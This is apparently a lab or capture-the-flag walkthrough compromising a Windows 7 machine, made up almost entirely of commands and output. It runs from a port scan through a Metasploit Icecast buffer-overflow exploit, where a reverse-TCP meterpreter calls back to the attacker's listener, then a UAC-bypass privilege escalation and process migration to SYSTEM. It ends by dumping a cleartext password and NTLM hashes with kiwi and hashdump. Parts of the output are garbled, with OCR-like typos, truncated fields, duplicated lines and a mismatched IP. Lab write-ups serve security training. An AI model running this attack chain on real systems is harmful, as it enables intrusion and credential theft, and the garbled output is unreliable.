

nmap -sS -sV -O -vvv -Pn -sC 10.10.241.23

```
PORT STATE SERVICE REASON VERSION

135/tcp open msrpc syn-ack ttl 125 Microsoft Windows RPC

139/tcp open netbios-ssn syn-ack ttl 125 Microsoft Windows netbios-ssn

445/tcp open microsoft-ds syn-ack ttl 125 Windows 7 Professional 7601 Service Pack 1 microsoft-ds (wor kgroup: WORKGROUP)

3389/tcp open tcpwrapped syn-ack ttl 125

_ ssl-date: 2020-07-09T15:29:16+00:00; +1s from scanner time.

5357/tcp open http syn-ack ttl 125 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)

| http-server-header: Microsoft-HTTPAPI/2.0

| http-title: Service Unavailable

8000/tcp open http syn-ack ttl 125 Icecast streaming media server

| http-methods:

| Supported Methods: GET

| http-title: Site doesn't have a title (text/html).

49152/tcp open msrpc syn-ack ttl 125 Microsoft Windows RPC

49153/tcp open msrpc syn-ack ttl 125 Microsoft Windows RPC

49154/tcp open msrpc syn-ack ttl 125 Microsoft Windows RPC

49159/tcp open msrpc syn-ack ttl 125 Microsoft Windows RPC

49159/tcp open msrpc syn-ack ttl 125 Microsoft Windows RPC

49160/tcp open msrpc syn-ack ttl 125 Microsoft Windows RPC

49160/tcp open msrpc syn-ack ttl 125 Microsoft Windows RPC

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49160/tcp open msrpc syn-ack ttl 125 Microsoft Windows RPC

49160/tcp open msrpc syn-ack ttl 125 Microsoft Windows RPC

49160/tcp open msrpc syn-ack ttl 125 Microsoft Windows RPC

49160/tcp open msrpc syn-ack ttl 125 Microsoft Windows RPC
```

```
Vulnerability Details : CVE-2004-1561 (11
Buffer overflow in Icecast 2.0.1 and earlier allows remote attackers to execute arbitrary code via an HTTP request with a large number of headers.
Collapse All Expand All Select Select&Copy
Search Twitter Search YouTube Search Google
- CVSS Scores & Vulnerability Types
                            Partial (There is considerable informational disclosure.)

Partial (Modification of some system files or information is possible, but the attacker does not have control over what can be modified, or the scope of what the
 Confidentiality Impact
 Integrity Impact
                             attacker can affect is limited.)
 Availability Impact
                             Partial (There is reduced performance or interruptions in resource availability.)
                              ow (Specialized access conditions or extenuating circumstances do not exist. Very little knowledge or skill is required to exploit. )
 Access Complexity
                                         d (Authentication is not required to exploit the vulnerability.)
 Authentication
 Gained Access
 Vulnerability Type(s)
                             Execute Code Overflow
                            CWE id is not defined for this vulnerability
```

msfconsole

use exploit/windows/http/icecast_header

```
<u>msf5</u> exploit(
Module options (exploit/windows/http/icecast_header):
           Current Setting Required Description
   RHOSTS 10.10.241.235
                                         The target host(s), range CIDR identifier, or hosts file with synta
                               yes
  'file:<path>
RPORT 800
           8000
                                          The target port (TCP)
                              yes
Payload options (windows/meterpreter/reverse tcp):
              Current Setting Required Description
                                            Exit technique (Accepted: '', seh, thread, process, none)
The listen address (an interface may be specified)
   EXITFUNC thread
              10.2.11.159
8443
                                 yes
                                           The listen port
   LPORT
Exploit target:
   Id Name
   0 Automatic
```

run post/multi/recon/local_exploit_suggester

```
meterpreter > run post/multi/recon/local_exploit_suggester

[*] 10.10.241.235 - Collecting local exploits for x86/windows...
[*] 10.10.241.235 - 33 exploit checks are being tried...
[+] 10.10.241.235 - exploit/windows/local/bypassuac_eventvwr: The target appears to be vulnerable.
nil versions are discouraged and will be deprecated in Rubygems 4
```

background

use exploit/windows/local/bypassuac_eventvwr

```
msf5 exploit(
Module options (exploit/windows/local/bypassuac eventvwr):
             Current Setting Required Description
   SESSION 1
                                            The session to run this module on.
Payload options (windows/meterpreter/reverse tcp):
   Name
              Current Setting Required Description
                                             Exit technique (Accepted: '', seh, thread, process, none)
The listen address (an interface may be specified)
The listen port
   EXITFUNC process
                                 ves
              10.2.11.159
   LH0ST
                                 yes
   LPORT
              8443
                                 yes
Exploit target:
   Id Name
   0 Windows x86
```

getprivs

```
Enabled Process Privileges
Name
SeBackupPrivilege
SeChangeNotifyPrivilege
SeCreateGlobalPrivilege
SeCreatePagefilePrivilege
SeCreateSymbolicLinkPrivilege
SeDebugPrivilege
SeImpersonatePrivilege
SeIncreaseBasePriorityPrivilege
SeIncreaseQuotaPrivilege
SeIncreaseWorkingSetPrivilege
SeLoadDriverPrivilege
SeManageVolumePrivilege
SeProfileSingleProcessPrivilege
SeRemoteShutdownPrivilege
SeRestorePrivilege
SeSecurityPrivilege
SeShutdownPrivilege
SeSystemEnvironmentPrivilege
SeSystemProfilePrivilege
SeSystemtimePrivilege
SeTakeOwnershipPrivilege
SeTimeZonePrivilege
SeUndockPrivilege
```

1316 128	8 explorer.exe	x64	1	Dark-PC\Dark	<pre>C:\Windows\explorer.exe</pre>
1368 692	spoolsv.exe	x64	0	NT AUTHORITY\SYSTEM	C:\Windows\System32\spool

migrate 1368

```
meterpreter > migrate 1368
[*] Migrating from 3208 to 1368...
[*] Migration completed successfully.
```

getuid

```
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```

load kiwi

creds all

```
NTLM
                                                                                               SHA1
Username Domain
          Dark-PC e52cac67419a9a22ecb08369099ed302 7c4fe5eada682714a036e3937836<u>2bab 0d082c4b4f2aeafb67</u>
fd0ea568a997e9d3ebc0eb
wdigest credentials
Username Domain
                      Password
DARK-PC$ WORKGROUP (null)
Dark Dark-PC Password01!
tspkg credentials
Username Domain Password
Dark
          Dark-PC Password01!
kerberos credentials
Username Domain
                      Password
                       (null)
Dark Dark-PC Passwo
dark-pc$ WORKGROUP (null)
                       Password01!
```

hashdump

meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Dark:1000:aad3b435b51404eeaad3b435b51404ee:7c4fe5eada682714a036e39378362bab:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::